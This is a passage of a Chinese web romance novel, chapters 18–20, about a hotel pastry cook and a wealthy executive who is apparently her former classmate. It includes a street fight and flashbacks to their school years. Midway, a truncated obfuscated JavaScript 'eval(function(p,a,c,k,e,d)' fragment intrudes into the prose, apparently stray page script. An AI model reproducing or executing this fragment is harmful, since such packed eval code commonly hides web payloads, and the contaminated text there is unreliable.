檀颂记得,好像就是同一年,福利院来了一对夫妻,跟院长妈妈说想要领养一个孩子,他们在福利院转了一圈,第二天决定要领养明舒。 那天明舒特别开心,一直跟他们说她要有爸爸妈妈,要有家了。 那会儿檀颂只有三四岁,她还不清楚家的含义,只知道姐姐开心,她就开心。 临走之前,明舒还把她攒了几天的小零食都给了檀颂,然后高高兴兴牵着那对夫妻的手离开了福利院。院长妈妈说,以后她不会再回来了。 因为这,檀颂和其他小朋友抱着哭了好几天。 可是没过一年,檀颂还没学会十加十等于几的时候,明舒又回来了。 她是被那对夫妻送回来的,听老师说,那对夫妻有了自己的孩子,觉得自己养不起两个小孩儿,就把明舒送了回来。 檀颂不懂其中的弯弯绕绕,她看见院长妈妈也抱着明舒哭,然后嘴里说着她听不懂的话。再之后,明舒重新开始照顾他们,不过因为她离开的时间有点久,小朋友们都跟她不亲近,檀颂记得她给过自己小零食,便主动拉着她的手叫姐姐。 就是从那之后,明舒不管去哪里都会带着檀颂,有什么好吃的好玩的也都先给她。 即便到了十八岁要离开福利院的时候,为了把檀颂一起带出去,她在外面拼命工作,以此证明她有能力养活一个妹妹。 院长妈妈说,姐姐明舒是个极度缺爱的人,她渴望得到任意形式的爱,但她从不吝啬付出自己的爱,姐妹两人相依为命那几年,明舒把所有的爱都给了檀颂。 18. 第 18 章 七月份的阳光,灿烂耀眼却灼人,透过繁密的树枝投射成了斑驳的光影,店里开着空调,温度适宜。 檀颂轻轻摩挲咖啡杯的外沿,思绪恍恍惚惚。 很久没有回想以前在福利院时候的事情了,有些记忆像做梦一样,变得极不真切。 宗丞黎没待多久便被一通电话叫走了,说是学校有事,他现在在津州外国语大学当老师,闲暇时会接一些翻译的工作,也挺忙的。 檀颂自己又坐了一会儿,才起身离开。 门一开,热浪铺面而来。 在即将踏出巷子的时候,檀颂猛然想起来,这条巷子她十年前来过。 和明舒。 咖啡店那时候是一家蛋糕店,老板和老板娘是一对六十多岁的老夫妻,那家店的招牌是老板娘做的草莓蛋糕,也是明舒最喜欢的口味。 - 最近赶上暑假,外出度假的人多了起来,酒店每天招待的人数激增,工作量也是成倍增加。后厨每天忙得团团转,连吃饭的时间都被压缩了。 那天檀颂值晚班,临近十一点的时候,35层的客房点了几份主厨推荐的甜品套餐。 看着那个略有些熟悉的房间号,檀颂无奈叹了口气,然后认命般地推着餐车去送餐。 这次来帮她开门的是宋秦,等她进去,发现套房内还有其他人,跟上次一群玩乐的富二代不一样,这次在屋里的都是西装革履的精英人士。 靳司珩依旧坐在面对大门的单人沙发上,此时正闭目养神。 余下几位看起来像是他下面的高管,正聚在另一侧开放的书房那里激烈地讨论着什么,他们口中提到的关键词都太深奥,檀颂听不懂。 屋内空调开着,温度适宜,靳司珩着黑西裤、深灰色衬衫,没系领带,领口被扯得歪歪扭扭,露出一段漂亮的锁骨。 倒是给他添了些许随性。 宋秦对檀颂说:“把东西放在客厅就好。” “好。”檀颂点头应下。 檀颂把餐车推到茶几前,就听身后宋秦走到书房那边恭敬喊道:“各位总们辛苦了,靳总请吃的甜点送到了,各位总们先休息一下吧。” 他们说话的时候,靳司珩缓缓睁开了眼睛,抬头,不经意与檀颂四目相对。 他眼中还有几分未消散的凌厉,几乎是与檀颂对视的瞬间便迅速扭过头,看向窗外。 靳司珩点了一道现做的提拉米苏,檀颂将其余成品一一摆放在茶几上,期间那些被宋秦称为“总们”的人都走了过来,一共六位,两位女士坐在靳司珩对面,其余四位男士分别坐在他两侧。 这些人看起来都是四五十岁的人,每个人身上也都带着一股上位者的压迫气质。但他们面对靳司珩时,也是笑意吟吟,态度上恭敬了些。 檀颂垂眸认真做自己的事,自动屏蔽掉他们的交谈声。 他们聊投资甜品行业的前景,用的也都是檀颂听不懂的术语,没说几句不过便被靳司珩轻飘飘打断,他单手撑着下巴,像是很漫不经心地问了一嘴:“怎么样,各位觉得这甜点好吃吗?” 众人连连称不错。 “……” 提拉米苏做好,檀颂弯腰分给众人,到靳司珩这里时,她看见摆在他面前的甜点没有被动过。 檀颂动作没有停顿,将他那份提拉米苏放下就撤了回去。一个转身的功夫,等她再转回来,那份提拉米苏就少了一部分。 “我也觉得不错。”靳司珩状似有意无意地补充了一句。 不知道是不是檀颂的错觉,她总觉得靳司珩的嗓子有些不对劲。 大概是三心二意的缘故,她放完最后一份提拉米苏,双手撤回的时候,不小心碰到了靳司珩放在茶几上的手机,电光火石间,她条件反射般伸手去接,手机掉到掌心的瞬间她的手背触碰到另一只手。 ——属于靳司珩的。 他显然也是下意识去接手机的,只不过比她慢了一点儿。 两个人同时愣住了。 下一秒又同时撤开。 只不过檀颂的动作略显仓皇,而靳司珩却气定神闲的。 周围坐着的众人互相交换了个眼神,然后默契地选择无视。 把手机放回原本的位置,檀颂低声对靳司珩说了声抱歉,后者点点头,唇角动了动,不知道是要笑还是要说话。 但他终究没做什么反应,只是手搭在膝盖上,有节奏地轻敲。 檀颂推着餐车离开,没再关注屋内众人。 饼房还有一大堆事情等着她处理,檀颂只把这件事当成一个小插曲,很快就把它抛到脑后了。 下班的时候已经到后半夜了,其他值夜班的同事都回宿舍了,剩檀颂一个人在门口徘徊。这个点公交和地铁都停运了,打车也没人接单,檀颂就先去便利店买了杯咖啡,坐在门口的椅子上等待。 过了十分钟还是没人接,她就打算去附近的宾馆开个钟点房随便休息一下。站起来没走多远,经过便利店后面那条昏暗的巷口时,她听见里面传来骂人的声音,其中夹杂着□□碰撞的声音。 檀颂朝里看了眼,巷子不深,大概几百米,只有一盏路灯,此时路灯底下站了几个人,借着昏黄的灯光,檀颂看见闫绪被一个健壮的男人揪着衣领按在墙上,那男的穿着无袖背心,手臂纹满了纹身,身后站了几个同样健壮的男人。 壮男恶狠狠地对闫绪说:“老子再他妈给你最后一次机会,告诉老子那天报警的人是谁。” 哦,是上次打闫绪被她报警抓起来的那群人。 檀颂了然。 壮男要找的那个报警人是她吧。 趁还没人注意到她,檀颂默默退回到墙后,思考要不要再报一次警。 巷子里,被控制住的闫绪耸了耸肩,表现得很无谓:“明哥,我真不知道,警察同志不是说了吗,是个见义勇为的路人,路人你懂吗?你就是把我打死我也说不出来啊。” “妈的,”壮男似乎被激怒了,举起拳头就要往闫绪脸上砸。 檀颂刚拿起电话,见状不由自主喊了句:“闫绪!”< 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再说檀颂这边,她一看情况不对,立刻掉头,只是刚回头,她就看见靳司珩不知道什么时候坐在了便利店门口刚才她坐过的那把椅子上,叼着一根点燃的烟,静静地看着她。 烟雾袅袅,他的表情有些模糊。 靳司珩应该是知道她的处境,因为他站了起来,将烟蒂扔掉,平静地对她说:“过来。” 情况紧急,檀颂没有停顿太久,几乎是小跑着朝他走去,边在心里盘算警察还有多久能到。 身后的男人也出了巷子,逐渐拉近与檀颂的距离。 “靳总,”跑到靳司珩面前,檀颂刚叫了一声,就被靳司珩打断,“站到后面,远一点儿。” “哦。”檀颂听话地站到他身后,看着靳司珩和那个黄毛对峙。 黄毛也长了一身腱子肉,身上的白色T恤绷得紧紧的。檀颂看了看他,又看了看靳司珩,后者穿着黑色的短袖T和黑色的裤子,裸露的手臂上青筋脉络明显。 但,在体型上,靳司珩偏清瘦,檀颂不由地有些担心,躲得远远的去打电话报警。 “喂,哥们儿,”黄毛先说话,“我找你身后的女人说点事儿,你可别多管闲事儿啊。” 靳司珩闻言嗤笑一声,问:“那我如果非要管呢?” “别给脸不要脸,”黄毛叫嚣,“老子给你面子,你他妈别蹬鼻子上脸。” 靳司珩居然用很认真的口气问:“要打架吗?”紧接着“啧”了一声,颇为嫌弃道:“听你说话有点儿恶心,要打架就赶紧打,磨磨蹭蹭干嘛?” “卧槽!”黄毛怒了,冲过来举起拳头就要往靳司珩脸上招呼,靳司珩后退两步,那个拳头擦着他的下巴打了个空。 同时,靳司珩一脚踹在黄毛肚子上,将他踹得踉跄着后退了几步,随后迅速挥拳,直逼黄毛面门,黄毛刚挨了一脚还没缓过来,脸上便被狠狠砸了一拳,鼻子顿时血流如注。 靳司珩甩了甩手,像是自言自语一样说:“表现不错,看来平时还是得多锻炼。” 听见这话的檀颂和黄毛:“……” 19. 第 19 章 凌晨两点多,路上连半个人影都看不到了,他们一行人被带到辖区派出所。 到这儿没多久,宋秦就来了,他身后还跟着位手提公文包、西装革履的男人。男人是靳司珩的律师,一来自动就去找警方了解情况了,檀颂不知道他们怎么谈的,只知道他们进去没多久靳司珩和闫绪就被放出来了。 不过前者从容淡定,后者垂头丧气,状态截然相反。 从派出所出来,檀颂站在路边刷手机找附近的钟点房,工作了一天又折腾了大半宿,她感觉自己身体都快散架了。 靳司珩一声不吭,出来就从裤袋里摸出烟盒,点了一支含在嘴里,要吸不吸的,任凭它燃着。 至于闫绪嘛,刚才檀颂去之前已经被揍了一顿,脸上青一块儿紫一块儿,这会儿揉着伤口疼得龇牙咧嘴。 檀颂见状,指了指街对面的24小时药店,提议:“你去买点儿药敷一下吧。” “哦。”闫绪点点头,丧眉搭眼就去了。 檀颂定好钟点房,抬头,靳司珩那支烟还没抽完,烟雾缭绕间,男人脑袋微垂,额前的碎发有些凌乱地挡住眉眼,看着比平时多了些柔和。 他看起来似乎真是像他自己说的那样,经常锻炼,身上的衣服都是运动系的,不是平时那种精英范儿,且他的手臂的肌肉线条很分明,右手腕上那朵黑色海棠图案一直蜿蜒到手肘,又显得他这个人多了股叛逆的味道。 纹身的藤蔓上似乎还有一行英文,但字太小,路灯又晃眼,檀颂看不清。 这么一会儿,去买药的闫绪提着塑料袋回来了。 “阿檀姐,我买了碘伏,你能帮我把脸上的伤口消一下毒吗?我自己抹不准。” 他右边眼角擦伤挺严重的,都见了血,檀颂停顿了几秒,答应下来。 檀颂接过塑料袋,闫绪买了碘伏和创可贴,她拿棉签沾了沾碘伏,仰头看闫绪眼角的伤,沉默。 闫绪比她高了差不多一个半头,为了方便让她抹药,他上半身下弯,双手撑在膝盖上,将脸凑近。檀颂用棉签轻轻碰了下他眼角的伤口,意料之中地听到他倒吸了一口气。 “忍着点儿吧。”耽误了这么久,檀颂心里也存了气,语气不自觉变生硬了。 闫绪抿着唇,乖乖听她说话,眼睛里亮晶晶的。 每处理一处伤口檀颂就换一根棉签。 反正也不是花她的钱。 几分钟之后,全部伤口处理完毕,檀颂把碘伏盖子拧紧,还给闫绪。扭过头,发现靳司珩还站在原地,又点了根烟,正透过烟雾看着他们。 宋秦和律师还没出来,他大概是在等他们。 说到底,今晚他是救了她。 檀颂走过去,开口:“靳总,刚才的事,谢谢你。” “不用,”靳司珩扔掉烟蒂,拿脚碾了碾,不知道是不是吸过烟的缘故,他说话的声音有些沙哑,但语调仍是欠儿欠儿的,“助人为乐是我美好的品德。” 檀颂愣了愣,“哦,那我就先告辞了。” “去哪儿?回家?”他问。 “嗯。”檀颂没跟他解释。 “那阿檀姐,我送你回去吧。”闫绪忽然凑上来抢着说。 “不用,”檀颂没打算跟他们任何人解释,只敷衍道:“我打的车快到了,我先走了。” 撇下两个人,檀颂头也不回地就走了。她定的宾馆离派出所两条街,不远也不近,快到十字路口的时候,她听见身后有脚步声。 回过头,见靳司珩不紧不慢地走过来,脸上神色淡定,完全没有那种尾随女孩儿被抓包的窘迫。 “刚才忘了说,”他走到檀颂身侧,跟她一起等红灯,这个点,宽敞的路段依稀能见到几辆疾行而过的汽车,“半夜送女孩儿回家也是我美好的品德。” 檀颂觉得无语,嘴上还是不得不夸道:“那您,还真是品德高尚。” 这时绿灯亮起,靳司珩先迈步往前,走之前,他偏头,看了檀颂一眼,懒散地说:“倒也不是。” 檀颂:“?” 靳司珩收回视线,继续看着前方,语调凉凉,“我还挺小心眼儿的,如果有人骗了我,我一定会用尽各种手段,找到他,然后,”他顿了下,突然咬牙道:“弄死他。” 檀颂连忙跟上,思索了一下,试探性地泼了盆冷水:“…那万一,找不到呢?” 闻言,靳司珩只是哼笑了一声,又把话题转回到她身上:“说起来,你不是说你打的车快到了吗?车呢?跑丢了吗?” 檀颂:“……” 两个人有一搭没一搭地说了几句话,很快就到了下一个路口,再往左拐,就能到宾馆,檀颂叫住继续要往前走的靳司珩,指着左侧巷子尽头的宾馆说:“靳总,我到了,谢谢您送我过来。” 她推辞的意思已经很明显了,靳司珩顺着她手指的方向看过去,眉心微蹙。 说是巷子其实不如说是被随意辟出来的一条小路,两边楼房距离过近,将大路上的路灯灯光全挡住了,巷子里也没有路灯,里面漆黑一片,倒是显得对面宾馆的招牌很明显。 靳司珩偏头,垂眼看向檀颂,状似熟稔地问:“你不是怕黑吗?我送你过去。” 檀颂弯唇,笑了笑,神色平静:“已经不怕了。” 怕靳司珩再坚持,她先堵了他的话:“这里面不太干净,您别进去了,我自己可以的,晚安,靳总。” 靳司珩没有执着,双手插兜,吊儿郎当地点点头,轻“嗯”一声当做回应。 但他没走,看着檀颂进了巷子,一点点朝对面移动,脑海中想起很多年前的一幕,好像也是这样的夜晚,也是类似的、一点儿亮光都见不到的巷口,有个人扯着他的衣袖,软着嗓音求他—— “程司珩,我怕黑,你能送我过去吗?” 他一直盯着檀颂的背影,看着她进了宾馆,身影彻底消失,他才转身离开。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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檀颂体测八百米跑倒数第二,程司珩就在她补考的时候跟在她身后慢悠悠跑,边跑还边阴阳她跑得慢;程司珩考试偏科严重,英语从来没及过格,檀颂就拿着英语书凑到他旁边背单词;甚至有的时候两个人也会因为食堂最后一份阳春面而起争执…… 所以当时她看见程司珩,内心是不大愿意让他送自己的,生怕这人以后拿这事儿取笑她。 但是内心的恐惧最后战胜了那点儿微不足道的好胜心,她先低了头,生怕程司珩跑了,紧紧攥住他的衣袖,求他送自己回家。 檀颂有些记不清当时程司珩的表情了,隐约记得他好像迟疑了一下,然后不知道想到了什么,特别勉强地把她送回了家。 …… 檀颂看了眼时间,已经快四点半了,再不睡又要起来了,于是把脑海里的画面压下去,强迫自己睡觉。 这一觉就睡到了第二天快九点半,她匆匆起床,用宾馆送的一次性洗漱用具洗脸刷牙,然后下楼去前台退房。 宾馆老板是个中年男人,这会儿正窝在前台看财经新闻,檀颂等待他退押金的空档扫了眼墙上悬挂的电视,恰好是一段靳司珩的采访。 男人一身高级定制手工西装,精致到每根头发丝都被精心打理过。面对记者各种刁钻的提问,他都表现得游刃有余,完全看不出当初穿着洗到发白的牛仔裤,为了省钱,放学后连公交车都舍不得坐,步行走四公里回家的窘迫了。 20. 第 20 章 檀颂一路小跑,到酒店门口的时候正好碰到靳司珩往外走。隔着一段距离,男人似乎没看见她,步态从容,抬手整理着西装的袖扣,从她面前经过时目不斜视。 宋秦先下台阶去帮他开车门。 檀颂继续往酒店里走。 不知道是不是她看错了,靳司珩右手上好像缠了绷带。 檀颂仔细回想了一下昨晚所有的细节,她怎么不记得靳司珩有受伤?没等她想清楚,繁杂的工作使她不得不把这件事暂时放下。 忙碌了一上午,中午好不容易能休息一会儿,闫绪鬼鬼祟祟地跟在她身后去了员工餐厅,趁她吃饭的时候,双手捧着一个精美的袋子放到她面前。 他笑得一脸谄媚,将袋子一点一点推过去,“嘿嘿,阿檀姐,一点儿小心意,请您笑纳。” 檀颂觉得疑惑,“你这是干嘛?” 闫绪睨着她的脸色,迟疑着说:“这不是最近给阿檀姐惹了挺多麻烦嘛,我觉得怪不好意思的,所以买了个小礼物,给你赔罪。” “不用,不是什么大事,你不用放在心上。” 檀颂低头继续扒饭。 “那不行,”闫绪急了,“噌”地从座位上站起来,说话声音也不自觉提高了,引得周围一些人扭头看他们,他又灰溜溜坐下,嘴里仍然在劝她收下礼物:“阿檀姐你就收下吧,要不我心里过意不去。” 檀颂:“那这样吧,这东西多少钱,我把钱转你。” “我不要!”闫绪果断拒绝,没等檀颂再说什么,立刻站起来就跑,连头都没回。 大概是怕她再提给钱的事儿,闫绪一整个下午都没跟她说话,并且工作的时候离她远远的,连半个眼神都没分给她。 晚上,差不多还是昨晚那个时间点,饼屋又接到了来自35楼的订单,点了一道酒店刚推出新品。 依旧是檀颂去送餐。 门打开,眼前站着身形高大的男人。 靳司珩靠着门框,着一身深色居家服,半垂眼皮,居高临下地看着她,一头黑发垂下来,褪去白天那种生人勿近的精英感,多了几分乖。 “靳总。”檀颂微微颔首。 他漫不经心地点点头,往旁边让了一步。 檀颂进了房间。 屋内没有别人,茶几上放着药瓶和纱布。 “把东西放茶几上就好。”靳司珩说,然后绕过她,回到沙发边坐下,拿起药瓶对着右手背喷了几下。 檀颂将甜点放到茶几另一边,看他单手缠纱布有些费劲,想着他那伤跟自己多少也有些关系,于是便问:“靳总,需要我帮您吗?” 靳司珩看了她一眼,思考了一秒,也没推辞,“也行。” 说完,他干脆松开手,上半身前倾,肘部撑在膝盖上,将手伸过去。檀颂挪了两步,蹲下。靳司珩的手很大,手背上青筋突兀,骨节处有擦伤和红肿。 他皮肤白,红肿异常明显。 檀颂又帮他喷了些消肿的药水,然后拿起绷带小心翼翼地缠在他手上。刚缠第一圈的时候,可能是她手速快了点儿,下手有点儿重,又或者是伤口真的很疼,她听见靳司珩“嘶”了一声。 随即,男人缓缓开口,语气带着玩味:“喂,阿檀姐,轻点儿啊,我怕疼。” “……” 无语了几秒,檀颂神色不变,小声说了句抱歉,同时放慢缠绷带的速度。 屋内安静了片刻,靳司珩的声音再次响起,这次他压低了声调,虽还是那副散漫的口气,但让人一听就能听出里面不满意的情绪:“昨晚,如果我没在那个地方,按那个男人的体格,你是要吃亏的。” “没关系的,”檀颂头也没抬,继续说:“我包里有防狼喷雾,便利店门口也有监控,他占不到便宜的。” 靳司珩冷哼了下,冷嘲道:“胆子真大。” 绷带打好结,檀颂抬头,直直对上他的视线,因为靳司珩上半身前倾的姿势,他们距离很近,近到檀颂能清楚地在他眼里看见自己的倒影。 可是慢慢的,那倒影仿佛变了样子,檀颂眨眨眼,看清了,那倒影竟然变成了十七岁时的她。 “我胆子一直很大,您知道的。” 她听见自己这么说道。 …… 2014年的深秋,飘风落叶,萧索无比。 某个周五下午,赶上周末放假,晚上不用上晚自习。 放学之后,檀颂回家放下书包准备等明舒下班回来再一起去商业街那边摆摊,她白天刚在程司珩那儿吃了亏,心情烦闷,就先去外面转转打算散散心。 她和明舒住的地方在一片城中村里,周围基本都是外来务工人员,鱼龙混杂。 刚下过一场雨,路上到处都是泥坑。。 檀颂转到最热闹的街道,那里有个大集,卖什么的都有,檀颂买了根糖葫芦,边吃边转,那条路在快到尽头的地方有个卖牛肉饼的中年女人,檀颂之前在她那儿买过几次。 隔着老远,檀颂就看见那个女人了。 那女人看起来四十岁左右,身形纤长,却瘦得很,面色也很憔悴,像吃了很多苦,每次有客人光顾她的摊位,她总是特别热情。 檀颂迈开步子正要过去,这时从另外一条巷子里走出来几个面色不善的男人,几步过去就将女人团团围住。 和他们隔得有些远,檀颂听不见他们说了什么,只看见他们毫不犹豫就将女人的摊子给掀了,做好的牛肉饼“骨碌骨碌”滚落在地,滚烫的油锅摔在地上,有几滴油溅到了女人,但她忍着没有叫出来,只是一脸愤怒地盯着那些男人。 檀颂认得其中的两三个人,之前她和明舒深夜收摊回家,在路上遇见他们,他们对着明舒吹流氓哨来着。 周围人群嘈杂,却没人愿意过去帮忙。 为首的男人一脚把女人踹倒,走过去,再一次抬起脚想施暴时身体忽然被撞开了。檀颂看见程司珩像一头被激怒的狮子,挡在女人身前,对周围那群不怀好意的男人怒目而视。 他身上还穿着津州一中的校服,脸上带着属于少年的稚气,身形清瘦,与一群健壮的成熟男人相对而立,后果都不用想。 檀颂吃完最后一个山楂果,把削尖的竹签藏进衣袖里,她环顾了一下四周,看见路边正在装修的小饭馆门口有工具,于是跑过去,跟主人借了把铁锹。 等她再回去,果不其然,就见程司珩被人掀翻在地,打他的那个男人弯腰,揪住他的校服衣领将他拖到一旁的泥坑里,然后狠狠地把他的脑袋按了进去。 期间程司珩想反抗,奈何力量悬殊,无论他怎么挣扎都无济于事,反倒给人添了不少笑料。 中年女人痛哭流涕,跪在地上给那些人磕头,可他们毫不在乎,所有人都在笑,甚至顾不上看她一眼。 周围看热闹的人越聚越 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等他们走后,檀颂扫视了一下四周,似乎从对面的人群里看见了熟悉的一中校服,不过一闪而逝,她以为自己看错了,就没在意。 看热闹的人见事情结束,也逐渐散了,檀颂走到程司珩面前,朝他伸出一只手,“没事儿了,你起来吧。” 程司珩满头满身的泥水,抬头看了她一眼,那眼神平静,什么情绪都没有。 “谢谢。”他垂眼,长长的睫毛上也挂着泥水,道完谢,然他双手撑地,从地上站了起来,全程没有碰檀颂的手。 他把还在抽泣的中年女人扶起来,又默默去捡被那些人踩成渣渣的牛肉饼。 “程司珩,”檀颂一手撑着铁锹一手叉腰,大声叫他,“你受伤了。” “没事儿。”他淡淡回答。 檀颂当时也不知道自己从哪儿来的那么一股气,“噌噌”几步走过去,一把扯住他的袖子,怒视他道:“我说你受伤了。” 最后,檀颂跟程司珩一起,把中年女人送回了家。 回去的路上檀颂才知道,程司珩是单亲家庭,卖牛肉饼的中年女人就是他妈妈。 把程司珩的妈妈送回家,檀颂又拖着程司珩出了门。他家出门右拐有家药店,檀颂进去买药,程司珩坐在门口的台阶上等她。 落日余晖,在他身上蒙了层柔和的光。 把药给他,檀颂也坐到台阶上,翘着二郎腿看他笨拙地给自己抹药。他用湿巾擦拭掉脸上和头发上的泥,然后用沾了药水的棉签去涂抹脸上伤口。因为看不见,他好几次把药抹错了位置,檀颂看不下去了,一把抢过他手里的棉签,“我来帮你吧,看着好着急。” 落日余晖,在他们身上蒙了层柔和的光。 程司珩盯着她的头顶,片刻后低声问:“你刚才不怕吗?” “不怕啊。”檀颂头也没抬。 程司珩似乎笑了笑,说:“你胆子可真大。” “还好,我跟我姐姐一起生活,胆子大一些才能保护好她。”檀颂当时是这样说的。 …… 时间回溯到十年后。 窗外霓虹闪烁,檀颂静静地与靳司珩对视,片刻后收回视线,站起身,微微一笑,道:“靳总,餐已送到,请您慢用。”